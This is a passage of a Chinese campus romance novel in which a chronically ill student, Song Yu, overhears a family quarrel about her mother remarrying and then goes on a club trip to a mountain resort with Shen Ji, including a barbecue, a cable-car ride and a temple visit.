寒假里宋妤会和宋琴心女士一起去外婆家小住一段时间，今年自然也不例外。冬天里的早晨在家的好处就是这样，不用想着要早起裹上厚重的外套去到哪里，其实身体早已遵循着生物钟醒来，依旧可以放任自己继续躺在温暖的被窝里。 宋妤在冬天里最喜欢赖床，即使她已经醒了，也爱闭着眼睛窝在床上享受暖意。这样的赖床行径在无人打扰的情况下一般可以持续到早上十点过后，更过分一点的时候，宋妤直到快到午饭时间才会懒洋洋地从被窝里钻出来。 这天清晨，宋妤又遵循生物钟在七点半的时候醒来，她翻了个身，脸颊在枕头上蹭了蹭就准备继续睡。可没过多久，宋妤便慢吞吞地从床上坐起，昨晚睡前似乎喝多了水，现在的她急需去厕所清空一下膀胱。 手指刚刚搭上房门把手，客厅里忽然响起一道有些尖锐的声音。 “你就是从来都不愿意听我的话，让我为你操碎了心！” 这道愤怒的声音的主人宋妤自然很是熟悉，是她的外婆。老人家上了年纪，平时说话时总会下意识地加大音量。宋妤刚打算开门出去问问，一大清早的外婆是为了什么这样动怒。可在她开门之前，外面又响起了宋琴心的声音。 宋琴心的声音中带了点无奈和压抑的烦闷：“妈，我现在都这把年纪了，你怎么还想着这些。” 郭代柔走过去，就坐在宋琴心对面不远处的沙发上，她偏着头，似乎也在努力压制着怒火。见宋琴心久久不语，郭代柔再次发话：“你就听我一次，去见见怎么了？你要是不想认我这个妈，就早点把我气死算了！” 郭代柔的话同样让宋琴心心中的火气克制不住地往上冲：“妈，你为什么又这么说？我不是说过我最不愿意听到这样的话了吗？现在我和小妤的生活都很好，也不需要你再为我们操心什么了！” 宋琴心的情绪变得激动起来，郭代柔的话语反而软下来半分，她从外衣口袋里掏出一张照片，搁在宋琴心面前的茶几上：“这个人我跟你王姨和一些亲戚打听过，条件不错，和前妻离婚五年了，有个儿子已经大学毕业。这个年纪里的人品相貌都不错，人家有再结婚的，只是出去吃个饭相看一眼难道能剐下来你一块肉？” 宋琴心用水壶压住了那张照片，她看着母亲的眼睛，认真道：“因为我没有打算再结婚，所以我不想跟他相看。再说了，我都这把年纪了，你怎么还挂着这个念头不放？” “你也知道你已经这把年纪了！”郭代柔一巴掌拍在那张玻璃茶几上，“我要不是担心你老了以后没个依靠，你以为我乐意说这些招你烦吗？” 宋琴心深吸口气，努力保持冷静：“妈，我怎么就没有依靠了，我还有小妤，一直以来都是我们母女两个互相依靠，一直以来我们都过得很好！” “你又不是不知道小妤的情况，她是个女孩子，还从小得了那种病。她小的时候你为她筹钱做手术，又拧巴着死活不愿意再生第二个孩子，最后离了婚，一个人带着一个不健康的孩子过，你跟我说这叫做过得很好？”郭代柔的声音再次提高，“你倔强了这么多年，也已经把小妤养这么大了，可她的病始终是个炸弹一般的变数。哪个正经人家会要小妤这样的孩子嫁进门？” “妈！”宋琴心几乎是尖叫着喊出这个字，她深深地喘着气，才让自己再开口的声音低了下来，“你不要再说了，小妤会长命百岁的，不管以后有没有人要她，我都不会放弃她。有我活着一天，我就不可能不管她。不要再说了，你让我静一静吧......” 卧室内的宋妤背对着房门，她慢慢停下，靠坐在墙壁旁边。宋妤将脑袋埋在臂弯里，眼睛无神地盯着虚空。 此刻她有些放空，脑海是空白的，没有在想什么，也没有在做任何思索。这样的争吵从小到大早已司空见惯，摆在明面上的以及偶然间听到的，宋妤已经习惯了。 宋妤低头盯着自己有些泛白的指尖，四散的心神终于有了片刻的凝结。 她走到这里是要做什么来着？对了，她是要出去上厕所来着。不过这种情况下她还不能出去，至少要等到妈妈和外婆都收拾好心情，再打着哈欠踩着拖鞋假装若无其事地走出去，最好时间间隔久一些，让她们都能下意识认为自己沉浸在睡梦中没有误入过那些争吵的瞬间。 宋妤披上羽绒服外套，坐在自己的书桌前百无聊赖的刷手机。恰好这时候何苑给她发了条消息，提醒她今天早上记得早点起来收拾行李。 看到何苑的信息宋妤才终于记起那差点被她遗忘的事。这学期学校的最后一次联合社团活动要在榆城新开发的景区静泉山举行，做一个大学生创意文化集市节，也是今年学校社团以及协会为下个学年举办活动拉赞助的重要活动。流浪狗救助社团向来是最缺经费的社团之一，这种活动肯定是不能错过的。 过往这种大型的需要去到校外的联合活动都是由社团的社长参加的，但是今年这个时候社长的亲姐姐结婚，急着赶动车回乡，没办法像往年一样多留几天。所以这次出席活动的重任就落在了家正好在本市的副社长宋妤身上。 宋妤点开那个活动通知群，手指在屏幕上的那条消息戳了戳。她微叹一声：“去年还是温泉山庄呢，怎么到我必须参加的时候就变成爬山了。我最讨厌爬山了。” 话是这么说，但宋妤还是得认命地乖乖拖出行李箱开始收拾行李。这次活动要一起坐大巴去静泉山，下午四点就要提前在学校集合。 吃午饭的时候宋妤在餐桌上跟宋琴心女士提起了这件事，宋琴心点点头，又嘱咐了她几句，说着又跑到宋妤的卧室里往那个已经收好的行李箱里塞了几片暖宝宝。 餐桌上只剩下祖孙二人的时候气氛有些沉静，宋妤有些笨拙，和郭代柔其他的那些嘴甜又健康的内孙外孙不一样，她有些不太懂得该如何与自己这个有些强势的外婆相处。 郭代柔看了眼卧室内宋琴心进进出出塞东西的忙碌身影，转过头对着正往嘴里扒饭 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宋妤推着行李箱朝门口走去，将要出门之时，她忽然想起什么，后退一步又进了屋里。她朝郭代柔道：“你上次说丢了的那条白色的护腰带我找到了，洗干净晾在我房间那边的阳台上了，你晚上记得收啊。” 郭代柔剪指甲的动作顿了下，她抬头朝宋妤看过来，过了片刻才应了声知道了。 宋妤再次和外婆道了别，便关上门推着箱子离开了。 大门关上发出吱呀一声的响动，郭代柔的表情有些空，直到尖锐的疼痛将她出走的心神唤醒，她低下头看见脚趾上殷红的血迹，才发现自己走神时剪到皮肉了。 郭代柔拿纸巾止了血，望着空荡荡的客厅发呆。 她是个再传统不过的妇女，自然没有逃脱过封建思想的荼毒，但这不代表她不爱自己唯一的小女儿。看着自己的女儿在产房中九死一生的生下一个浑身青紫奄奄一息的孩子；看着自己的女儿为了这个先天不足的孩子寝食难安，每每从噩梦中惊醒；看着自己的女儿为了孩子倔强的离了婚，一个人艰难地带大孩子。 看着自己的女儿为了这个孩子，活得那样苦，那样累。当初还扶着自己膝头闹着要买糖画的女儿转眼间就变成了眼前这个华发早生的沧桑女人。 对这个病弱的孩子，郭代柔从最初的心疼，无法自控地变成了怨恨。 要是琴心没生过这个孩子就好了，郭代柔有时控不住自己产生这样的想法。可每当宋妤用那张酷似琴心的脸怯生生地喊自己外婆时，满满的怨又变成了怜。 这样复杂交织的情绪，让郭代柔实在不懂得如何去好好疼爱这个病弱的外孙女。而宋妤偏偏早慧，看着乖乖巧巧的，实际上一直把自己圈在自己的世界里，从不主动向谁靠近。 宋妤大抵早就知道自己这个外婆对她怀有那样复杂又难言的心绪，可她从未想过像其他的兄弟姐妹那样得到长辈更多的偏爱。 就好像宋妤早早地认定了，自己不需要多少爱。 因为爱她的人少一点，她给周围的人带去的痛苦就少一点。 18. 意外之喜 因为还带了个行李箱，宋妤就打车去了集合地点。她对路况的预估出现失误，车子到的预想中晚，还在路上堵了车。 在车上何苑给她打了两个电话，宋妤也有些心急，暗暗懊恼自己没有更早一点出门，要是所有人都到了只剩下她，这样的情况也太失礼太尴尬了。 车子终于到达目的地以后，宋妤第一时间给何苑发了消息，何苑也给她秒回了一个OK的表情包。宋妤拖着行李箱往后走，何苑所在的记者团跟宋妤的社团分配到的不是同一辆大巴，所以路过何苑他们那辆车以后宋妤还得继续往后走。 找到那个车牌号后，宋妤却被告知这辆车已经坐满，她恐怕得到另外还有空余位置的大巴上。和宋妤一样没来得及坐上这辆车的还有两个最后才姗姗来迟得女生，她们背着同款的链条包，看上去应该是一起的。 宋妤只能和那两个女生一起上了那辆还有空余位置的大巴，她放好行李刚踏上去，放眼过去乌泱泱的全是男生。宋妤偏头看了眼车牌，发现这辆有空余位置的大巴载的是男篮，足球以及几个运动社团的社员。 宋妤刚上车，就有许多好奇的目光落在她身上，她走在过道上，像一只误入狼群的羊。那两个女生眼疾手快地找到了一个空着的双人座便落座了，车上虽然有空位却绝对不多，宋妤只能继续硬着头皮在一堆乌泱泱的运动员之间找空位。 很显然，早就没了空着的双人座。 宋妤的目光努力地搜寻着，终于在一排排高大的身影中找到张熟悉的面孔。倒数第三排靠窗的那个位置上，沈霁正撑着下巴闭目养神，而他的身旁似乎正好有个空位。 几乎是下意识地，宋妤快步朝沈霁所在的那个角落走了过去，她在那个位置前站定，正要说话，低头就看到了沈霁身旁的位置上放了个灰色的运动胸包。 看来这个座位也已经有人了。 宋妤不由地有些失望，她正打算再找找时，原本闭着眼的沈霁像是忽然感知到了什么，睁开了眼睛。 映入眼帘的是宋妤白皙的侧脸，沈霁有些懵，随即问道：“宋妤？你怎么上这辆车来了？” 宋妤叹了声：“我来得晚，那辆大巴没座位了。我就过来这边，但是也没找到空位，看来得再去其他车上看看了。” 听她这么说，沈霁坐直了身体，拍了拍身旁的椅背：“你可以坐我旁边啊。” 宋妤的目光落在那个灰色胸包上：“我原本也是想问问能不能做你旁边的，可是这里不是已经有人了吗？” 沈霁拿起那个胸包将包带穿过右侧胳膊背上，又拍了拍身旁的椅子：“你坐吧，这包是我的。我旁边没人。” “那真是太好了，我终于有位置坐了。”宋妤从善如流地在沈霁身旁坐下。 那边的杜沧原本正沉迷于和丁思越聊天，他并没有注意到宋妤上了车，依旧在虚心地和丁思越请教追求女神的技巧，不知不觉中，大巴已经开动。 杜沧正准备回去自己的位置，却被丁思越一把拉了回来。 “你就坐这里吧。”丁思越依旧垂头看着手机。 杜沧啊了一声：“你刚刚不是说有人坐旁边会打扰你和女朋友视频，非要一个人坐吗？怎么突然又改主意了？” 丁思越头也不抬：“因为你沈哥现在已经不需要你的陪伴了。” 杜沧愣愣的转头往后看，就看见原本自己的座位上坐着一个穿着浅蓝色羽绒服还带着个白色耳罩的女生，而他的包此时挂在沈霁身上，暗调的灰和那件张扬的火红色卫衣一点也不搭。 沈霁和宋妤这边，两人刚开始聊了会天，宋妤正说着二食堂后面的一只流浪大橘长得可漂亮，但是一点不亲人，谁逗它哈谁，真不知道是怎么长那么胖的。 “我觉得那只大橘和美猫bot经常发的那个外网网红猫polly还挺像的。”宋妤打开手机找到微博上美猫bot发的几张照片给沈霁看。 沈霁的指尖在屏幕上划动，他有些好奇地问：“你在哪里看的这个什么美猫bot？” “微博呀，难道你不玩微博吗？”宋妤反问。 沈霁摇摇头：“这类社交软件我玩的少。” 宋妤跟着点点头：“除了微博以外我其他社交软件基本没怎么玩，微博上都是挺活跃的，每天都要花点时间冲浪。” 沈霁从口袋里摸出自己的手机也下了一个大眼app，见他对各种页面都不太熟悉，宋妤就主动做起了他的人工向导。 简单介绍完所有功能后，宋妤看着沈霁手机上空空如也的界面，ld是初始默认的，头像也还是灰色的。她便主动展示了自己手机屏幕上的微博主页：“我们可以加个好友，正好我微博上的互关好友不算太多。” 沈霁的行动力很强，已关注那行的数字很快就跳动了一下。 说着说着，宋妤忽然打了个哈欠，用食指擦了擦眼角的生理泪水。 沈霁的唇角勾了勾：“这么早就困了？没睡好？” “我平时都午睡的，我忘了收行李今天中午没睡。”宋妤眨了眨眼，有些湿润的睫毛扫过了防寒口罩的边缘，“而且我在车上总会觉得困，这大巴晃啊晃的，我就更想睡觉了。” 沈霁善解人意地替她调整了一下椅背的角度：“那不聊天了，你睡吧。” 宋妤真有此意，她刚转过身体靠在椅背上，忽地又直起身体侧过头问沈霁：“你要休息吗？” 沈霁摇摇头：“我带耳机打游戏吧，车上味道杂，我睡不着。” “那你可以帮我一个小忙吗？”宋妤朝他眨眨眼，右手搭在自己背着的斜跨包上，“我这个小包本来就不大还塞满了东西，手机现在有点放不下。在我睡觉的时候你可以先帮我保管一下吗？” “当然。”沈霁接过了宋妤递来的手机，手机壳上印着一只围着蓝色围巾的毛绒兔子，还举着个比身体还大的叉子在吃蛋糕。 花里胡哨的，不过还怪可爱。 宋妤偏着头睡过去的时候，沈霁再次打开了大眼app，他点进关注栏中唯一 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宋妤靠在椅背上，她戴着防寒口罩，半张脸都埋在黑色的布料里，她的头微微侧着，纤长的睫羽随着呼吸时不时轻轻颤动，脸颊在口罩边缘挤出一点点白皙的软肉。她睡得深了的时候脑袋就会忍不住的往一侧栽，可总是能在快要触碰到沈霁的那一刻飞速地清醒过来，重新调整姿势，再次陷入新一轮的睡意。 沈霁盯着那颗不住轻点的脑袋，很想告诉她自己愿意向她借出肩膀。但他还是克制住了将要出口的话语。 那样说的话，宋妤一定会拒绝。过于贸然的行动，可能会在不经意的瞬间惊动宋妤让她退远。 持续单调的观察并未让沈霁觉得乏味，毕竟这样近距离的相处算是这段旅程的意外之喜。他原本就是知道了宋妤会来静泉山才跟着丁思越他们一道过来，这趟旅途有个还算不错的开端——因为宋妤主动选择向他走来。 车子不知开了多久，身旁忽然响起一声低低的呜咽。那道声音很轻，轻得仿佛是个一瞬即逝的错觉。 沈霁注视着依旧闭着眼睛的宋妤，她的眼角有一抹薄红，眼睫上挂着一点泪珠。他正欲发问，却在开口前注意到了宋妤仍处于睡梦之中。 在梦中哭泣吗？是做噩梦了吧。 沈霁从自己的背包里拿出手帕纸，用很轻很轻的力道，拭去宋妤眼睫上的那一滴将落未落的泪珠。 冬天的太阳下山得早，车子开到目的地时天已擦黑。沈霁叫醒了宋妤，将手机还给了她。 宋妤坐在靠外侧的位置，她走出去以后，沈霁从后面摸出个黑色的双肩包背上，跟在她后面走了出去。 下车以后沈霁还帮宋妤取了行李箱，宋妤正要道谢，却先一步发现了沈霁背后多的那个黑色背包。 “你怎么同时背了两个包？”宋妤有些疑惑地问。 沈霁这时候才想起自己在车上背了杜沧的灰色胸包，连忙将胸前那个摘下来拎在手上。他轻咳一声，解释道：“哦，我东西多，所以就带了两个包。” 19. 借花献佛 宋妤和沈霁告别以后就去找了何苑，住宿的地方不算太远，只是路不太好走，行李箱推着也怪费劲的。 下车的时候天幕还染有黄昏的霞光，等宋妤收拾完东西拉开窗帘的时候，外头早已坠入了一片墨色之中。原本宋妤是打算洗个澡再出去吃饭的，何苑接了个电话后告诉她今晚大家要一起吃烧烤。 想到烧烤的味道有点大，宋妤还是决定先取消自己的洗澡计划了。 房间里的一次性洗漱用品不够，宋妤便让何苑先过去，自己去找前台拿。宋妤整理好一切，方才来到何苑提过的那个露天活动场地。 过来的时候宋妤在心中感叹，这个活动场地比她想象之中的还要大不少。两旁的树梢上挂了各色亮闪闪的星星灯。 从中午到现在都水米未进，宋妤的肚子早就饿了，她加快了脚步，准备饱餐一顿。结果进去以后，宋妤望着堆了满桌子的各类食材一下子愣住。 何苑拿着个土豆从背后拍了拍宋妤：“小妤你来得正好，快来一起串烤串！” 宋妤的目光又移到了不远处三三两两堆在一起组装烧烤架的人，最后默默上前接过了何苑手里的那颗生土豆。 原来要从切食材开始啊，她还以为是直接叫外送了。宋妤摸了摸瘪瘪的肚子，任劳任怨地开始削土豆。 年轻可真好啊，坐了那么久的车到现在，竟然还有精神和力气烧烤呢。 女生们承担了大部分食材处理的工作，而负责烧烤的便基本上是那些摩拳擦掌着早就等着大显身手的男生们。草坪上的蓝牙音箱里放着节凑轻快的爵士乐，原本四散的人群开始聚集成一个又一个的小圈，热火朝天地享受着火焰炙烤过食材的油香气味。 宋妤洗干净手以后，有些茫然地看着有些喧闹的人群。 原来大家都这么喜欢自己动手烤串的吗？可是她还是觉得自己吃现成的比较香也比较方便。 烧烤架一共有六个，每一个旁边都围满了跃跃欲试的人群。宋妤没有自己烤过串，平时进厨房也就是煮个面条抄两样简单菜色的那种程度。宋妤对自己的水平有自知之明，烧烤这种技术活，她可能连烤到什么程度算熟都不知道，还是不跟着往前凑浪费食材了。 即使肚子饿得咕咕叫，宋妤也只能忍着馋虫拖了个小板凳坐在就近的烧烤架旁边观察。耳畔是各种各样喧闹的人声，宋妤看着升腾的油香混在白色的烟气中丝丝缕缕地飘散开来出神，脑海中只剩下一个念头。 究竟什么时候能开吃？好饿啊，难道这么久了还没有能吃的东西吗？ 宋妤站起身，她探出一个脑袋，试图在离她最近的那个烧烤架旁寻找一些能够暂时果腹的东西。黄瓜之类的蔬菜应该很快就能吃了吧，没有肉也没关系只要能先吃为敬。 可当宋妤走到那张摆放烤好食物的小木桌旁时，只看到了盘子上一块又一块烤的焦黑看不出原貌的东西。 “为什么要把炭块放在盘子里？”宋妤有些疑惑地问出声。 旁边的几个女生扑哧一声笑了出来，又跟着附和道：“是啊是啊，怎么有人折腾了半天搞了一堆炭块出来？这不是在用炭把食物烤成炭吗哈哈哈...” 站在烧烤架旁拿着几串生肉串的一个高大男生硬着头皮道：“我这是太久没做过了，有点掌握不住火候，你们等着，我这下一批肯定能成功，到时候给你们尝尝我的秘制烧烤配方！” 宋妤从善如流地点点头没再多说，但看到那人身后那些烤的焦黑的失败品之后，她退后两步默默走开了。 啊，选错地方了，这边的是个不靠谱的地狱厨子。 宋妤只能另择佳地。 可惜这次参加活动的太多都是宋妤不认识的人，社恐i人实在无法说服自己主动混进完全陌生的人群之中。 十分钟后，宋妤托着盘子里的几串寒酸的烤黄瓜和烤玉米，默默地回到了自己方才待着的小角落里，思考着去附近商店买个泡面的可操作性。 “宋妤，你怎么坐在这了？” 身后响起一道清朗的声音，宋妤转过身就看到沈霁站在自己身后不远处，他换了件黑色的长袖运动衫，左手还提着个白色的食品袋。 未等宋妤回答，沈霁先拖了一个板凳在她身旁坐下。他侧过头，看着宋妤又问了一句：“你吃饱了吗？刚刚我找了一圈，都没看到你，原来在这边啊。” 宋妤闻言，也跟着抬起头看他：“你找我呀，怎么了？” 沈霁将手上那个食品袋往前一递：“我在那边烤了很多，他们吃不完，我就想着打包过来分你一些，就是不知道你还吃不吃得下。” 宋妤眼睛一亮，双手接过：“我太乐意帮你分担了。” 宋妤将那个食品袋打开，里面是两个一次性餐盒，还贴心地放了些一次性手套和纸巾。她将那两个餐盒打开，其中一个装了满满的各种烤素菜，黄瓜，土豆片，面筋，韭菜和年糕之类的，另一个餐盒里则是各种肉串，还有香肠。各种烤串都洒了辛香的孜然，诱人的味道勾的人食指大动。 “哇，看着好棒，闻着也好香。不过你装了这么多，你们那边够不够吃啊？”宋妤先是赞叹，随即又有点疑惑。不知道沈霁究竟是在哪个烧烤架那边烤的，烤的这么香还能剩这么多。她刚才试图靠近的每个烧烤架基本上都是僧多粥少，一盘肉串烤好了端上来以后，一下子就被哄抢一光。 沈霁笑了下：“我烤的多，所以就剩的多，你就放心吃吧，他们早就吃撑了，我才拿过来的。” “这还是你烤的呢？那我可得好好尝尝。”宋妤拆开一次性手套的包装，抽出了拆开以后给沈霁递了一只，“一起吃吧。” 沈霁原本拒绝了，可宋妤说这盒子里装了这么多，她一个人也吃不完，让沈霁能和她一起吃就尽量一起，沈霁便没再拒绝。 不知道是饿过头的心理作用还是别的什么，宋妤觉得手里的烤串香的让她快要吞掉舌头，一下子就解决了好几串，连平时不太爱吃的茄子都能津津有味地全部吃下。 宋妤咬着肉串，嘴里含糊不清地对沈霁道：“太香了，你是烤串的神！” “是吗？”沈霁弯起眼睛，“杜沧他们这么说的时候我还当是他们不挑，连 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“小妤，我先过去了啊，你记得要自己起来，别睡过头了。”何苑出门前仍不忘叮嘱她。 宋妤含含糊糊地应了一声后，又再次闭上眼睛睡过去了。安稳地睡过三十分钟以后，宋妤才朦朦胧胧地睁开眼睛，慢吞吞地去洗漱换衣，吃完何苑给她带的早餐以后又慢吞吞地准备出门。 这还真不是宋妤故意拖延时间，现在她甚至觉得自己这个点出门还是有些早了。 集市节的地点定在静泉山山顶，今早就要上山去布置会场。宋妤一早就查询过了，上山可以座缆车，不一定非要亲自爬上去。而集合地点定在山顶，并没有要求所有人要一起上山。 对于每天精力多到溢出来的大学生，大部分人当然都是选择加入浩浩荡荡的爬山行动之中。宋妤并没有把自己划入这群精力满满的人类之中，她当然是毫不犹豫地、完全不需要思考地选择了坐缆车。 毕竟是新开发的景区，这个时辰静泉山的游客不多。宋妤往坐缆车的方向走，这条路上就只有她一个人。 迎面吹来的晨风有些冷，宋妤将脖子上的围巾往上拉了拉，尽可能地挡住寒意。搁在身体两侧的双手冻得有些僵硬，宋妤搓了搓指节上有些发红的皮肤，将手揣进了口袋里。 泥路不太好走，昨夜似乎下了场雨，脚下的泥土湿滑，很是阻碍人前行。偏偏这条难走的路这样漫长，抬头望去就好似看不到尽头。 宋妤一个人慢慢地走在这条泥路上，日光下的孤影似乎将寂寥越拉越长。周遭的声音似乎都在无人的角落里隐没，世界变得越发沉寂。 要把孤独当做一种常态。宋妤在心里对自己说。 可当宋妤继续往前走了两步以后，再次抬起头时却远远地看到了一个穿着黑色棒球服的高大身影在朝她招手。 这个距离不算太近，看到的面容也不是清晰的。可视野中出现这个人的第一瞬间，宋妤就知道他是谁。 20. 命定邂逅 沈霁站在那个砌了红色屋顶的小房子旁边向宋妤招手，宋妤愣了一下，反应过来后无意识间加快了自己原本刻意放慢的脚步。 泥路上有大大小小的水洼，宋妤没有注意脚下，就这么一下踩进了水洼之中。水洼里的湿泥很滑，宋妤一个趔趄，身体就无法受控的往前倾倒。 这个瞬间宋妤的脑袋里只余下一个想法——早知道就不穿白色的裤子了。 痛感并未像意料之中的那般准确地传达到脑海中，取而代之的是陌生的温度，宋妤睁开眼，看向自己冻得有些发红的指尖。此刻她的手正搭在沈霁的右手腕上，沈霁的另一只手牢牢扶住了她的手臂。 宋妤接着沈霁的力站稳，她抬起头看向沈霁，先是道了声谢，而后又有些好奇地问：“你怎么也在这？” 沈霁微微转身示意宋妤看身后不远处的那座小房子：“走这条路，当然是来坐缆车的。你不也是来坐缆车的？” 宋妤有些疑惑地上下打量沈霁。她当然知道沈霁是过来坐缆车的，只是沈霁怎么看也应该是活力满满地登山派吧，所以宋妤实在没想到会在这里和他狭路相逢。 似是看出了她的疑惑，沈霁解释了一句：“换了地方有些睡不好，早上起来没精神就觉得没有体力爬山，就过来坐缆车了。没想到这么巧，远远就看到你了。” 宋妤跟着点头：“说起来我也有点睡不好，主要是民宿的被子盖着有点不习惯。不过能在这遇上确实很巧。” 不，一点都不巧。沈霁在心里默默道。 他一早去了登山口那边守着，等了许久却只看到宋妤的那个舍友，问过何苑才知道宋妤还没起来，应该打算搭缆车。沈霁又绕路到了坐缆车的地方等着，站得腿都麻了才看到那个姗姗来迟的身影。 再多的机缘也无法促成一而再再而三的巧合。每一次意外的邂逅中，总有一人知道那绝非巧合。 宋妤和沈霁一切买了缆车票，临到上车时，宋妤看着那有些简陋的车座有些怀疑人生：“怎么不是全封闭式的呢？”这四面透风的，跟她想象中的区别有些大。 沈霁替她扣好了安全带：“有些老式缆车是这样的。反正也不远，似乎十五分钟就到了。你要是害怕，就闭上眼睛。” 缆车慢慢前行，双腿悬空的感觉虽然有些不适应，但只要不刻意往下看，宋妤觉得安全感还在可控范围之内。 晨间的风舒缓，山林寂静，鸟雀们似乎仍未苏醒。宋妤的耳边只能听到缆车在索道上平稳滑行的声音。逐渐适应之后，宋妤竟然觉得这个有些简陋的缆车似乎也不像想象之中那么糟糕，没了玻璃的阻挡，漫山的绿意和天幕中的云彩，似乎都只在咫尺之间。 呼吸着山林间的新鲜空气，宋妤一边和沈霁搭话：“你吃早饭了吗？” 沈霁摇头，他们那堆人里应该没几个有吃早饭这样的好习惯的。 宋妤从自己的外套口袋里掏出个小袋子，往沈霁面前一递：“不吃早餐可不是个好习惯，晚上没睡好的话早上更要吃饭。这个包子给你，吃吗？” 这话让沈霁蓦地怔住，其实不吃早餐对身体不好这样的常识大概连个三岁小孩都知道。可这样简单的一句话，似乎从来没人对他说过。 孩童时期就已经习惯被人忽视，成年以后当然也没人会刻意去嘱咐他这样的小事。 见沈霁不知为何忽然不说话了，宋妤晃了晃手里的小口袋又问了一句：“吃吗？” “吃。”这一次沈霁立刻便应声接过来，那个小口袋里装着个包子，他咬了一口，是鲜肉馅的，味道还不错。大概是因为被宋妤揣在兜里的缘故，面皮并不冰凉，甚至有点温度。 宋妤看着沈霁三两口解决了那个包子，颇为满意地点点头。 宋妤不吃外面卖的肉馅包子，所以在何苑给她买的那袋早餐中宋妤独独剩下了这个。大概是因为童年时期确实度过过一段有点揭不开锅的苦日子，宋妤养成了不爱吃却不能够浪费粮食的习惯，她正发愁要如何解决呢，这就遇上了没吃早饭的沈霁。 十五分钟的时间眨眼便过去，缆车到达了山顶，宋妤和沈霁走到约定好的集合地点，却还未见其他人上来。山顶的空间比宋妤想象中要广阔不少，既然爬山的人还没来，她便拉着沈霁去买了一杯热饮喝。毕竟站在山顶的冷风中等人还是怪磨人的。 宋妤侧过头看了看站在她身旁的沈霁，问：“你不冷吗？” 同样的天气里，宋妤穿了棉服外套，而沈霁的外套却是件看着就很单薄的黑色棒球服。 沈霁端着热饮的手指顿了下，才开口：“还好。”其实山顶的风吹起来确实冷，他原以为今天要爬山，运动量大，才特意换了轻便些的外套。 宋妤看着沈霁裸露在冷风中的那截脖颈，深觉得沈霁就是在强撑。她摘下了围在自己脖子上的围巾：“我的围巾给你吧，多一条围巾就像多一件衣服。你穿那么薄，小心别感冒了。” 沈霁正要拒绝，宋妤先一步展开围巾踮起脚想给他围上，结果操作的过程中有些失误，半截围巾搭在了沈霁的头顶，围巾一条条的绒穗搭在他额头上，显得有些滑稽。 宋妤笑了一下，又示意沈霁自己将围巾调整好。：“我穿的多，我的手还是热的呢，现在不冷。”她怕沈霁不信，又要将围巾还她，右手抬起在沈霁的手背上贴了一下，又飞快撤离。 “怎么样，是热的吧？”宋妤扬着眉问。 沈霁当然感受到了那一触即逝的温热，即使短暂，却让他呼吸一滞，忘记了将要出口的所有言语，只会跟着宋妤的话机械地点头。最终沈霁还是接受了宋妤的好意，乖乖地围上了那条粉灰色的格子围巾。 爬山的大部队迟迟不来，山上却先一步刮起了妖风。一阵阵的冷风执拗地从衣料的每个缝隙里钻入，冷的人牙齿打颤。静泉山的山顶还有座小庙，庙门口的巨石上雕刻着两个大大的红漆字——宝华。宋妤垂眸看了眼沈霁已经被冻红的指节，果断地把人拉进了庙里躲躲寒风。 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宋妤觉得自己拥有的东西不太多，心中的渴求和欲念应当像黑洞一样没有穷尽才对。可到了祈福许愿之时，到了这可以短暂放纵自己的贪欲的时刻，宋妤在心底里默念的愿望只有一个。 平安顺遂。希望她和她在意的所有人都能平安顺遂。 对于一个从小到大都不算健康的人，平安顺遂这四个字，或许确实也算一种最大的执念了吧。 “那你的愿望是什么呢？”宋妤忽然有点好奇沈霁究竟将什么样的心愿挂上了树梢。 就她对沈霁浅薄的了解而言，沈霁长相优越，家境富裕，同时也是计科院深得教授们信赖的优秀学生，各种社交场合都能随心所欲地应对，走在哪里都是人群中的焦点。以上宋妤罗列出的这些优点，还仅仅只是她在不认识沈霁之前从各种各样的流言之中的总结。而在和沈霁有过几次接触之后，在掀开谣言交织而成的神秘面纱之后。 宋妤看到的是一个真挚，自由，又洒脱的沈霁。 这样的沈霁，这样和她完全不同的天之骄子，宋妤恐怕无法遏制住自己的好奇心。 可宋妤不会想到的是，沈霁却被这样一个简单的问题给问住了。 因为沈霁没有许愿，他学着宋妤的样子，虔诚地闭眼，看闭眼的时候，脑海里却是空的。许愿这样的时刻对他而言是陌生的，那种将欲念寄托在除却自身之外的体验，他是陌生的。就算是最最幼稚的孩提时代，沈霁也从未有过通过许愿便能够达成心中所求的经历。 他甚至没有在属于自己的生日蛋糕之前闭上眼睛许下过愿望，所以即使站在大雄宝殿的金身佛像之前，站在会聆听所有信徒心愿的神明面前，沈霁也给不出一个确切的心愿。 打破寂静的是宋妤口袋里响起的手机，她接到了何苑的电话，挂断后对着仍处于怔楞之中的沈霁招了招手：“走吧，爬山的大部队到山顶了。” 21. 幼稚男大 宋妤和沈霁从寺庙的后面出去，穿过一条小路就到达了大部队的集合地。 原本两个人若是从后面归队的话并没有多么突兀，可偏偏二人从石阶上往下走之时，才发现学生会会长正站在石阶下的木台上讲话，他们猝不及防地出现一下子抢走了许多人的视线。 学生会会长丁敏光不动声色地瞥了两人一眼，又对宋妤和沈霁道了句尽快归队就继续讲话了。 即使走下了石阶，仍有不少如有实质般的目光追随着宋妤，她有些不自在，低下头站到了何苑旁边。原本跟在宋妤身后的沈霁脚步停顿了一瞬，他朝宋妤挥了挥手：“那我先过去了。”宋妤也随之点头示意。 何苑的目光反复落在这两人身上，她的视线最终停在了沈霁脖子上的那条围巾之上，心中有个不太确定的猜想。 未等何苑向宋妤求证，走出没多远的沈霁这时候又转头回到宋妤面前，抬手指了指自己脖子上的围巾：“你的围巾我洗干净后再还你。” 宋妤还没有什么反应，何苑先睁圆了眼睛。 就说沈霁脖子上的那条灰粉色围巾怎么看着那么眼熟，原来真是小妤宝宝的！说起来他们俩刚刚也是一起过来的，再加上早上在山脚下沈霁忽然将她拦下问起宋妤的去向。 何苑总觉得自己好像发现了什么有点不得了的事。要是说上次在那个健身俱乐部里她看到的只是一点端倪，而今天的种种细节都在为那个可能不断增加确证。 何苑将有些犹疑的目光转而落在身旁的宋妤身上，宋妤的表情依旧没什么变化，只是淡声对着沈霁应了一句好的。 大部队集合以后很快开始分配工作，已经有了目标的人早就三三两两地散开准备开始干活，只有宋妤仍有些迷茫地游离在人群之外。 人员编制多的社团和协会会有自己单独承办的摊位策划项目，而一些人员编制较少的小社团一般没有单独的摊位项目，而是会直接并入到大社团的项目中去帮忙——比如宋妤所在的流浪狗社团，这次的社团联合活动流浪狗社团只来了她一个人。 何苑那边的摊位是正正好满员不缺人了，她正穿梭在来来往往的人流中，拉着宋妤寻找能够多加一员的摊位。拥挤的人群中出现张熟悉的面孔，何苑感觉迎了上去，一边挥动手臂呼喊：“杜沧，你们那边还缺人帮忙不？”何苑记得杜沧他们所在的篮球社是个挺大的社团，也是这次联合活动中拥有参与编制最多的社团，按这个规模看，他们要负责的摊位项目估计不止一处，说不定真就有缺人的地方。 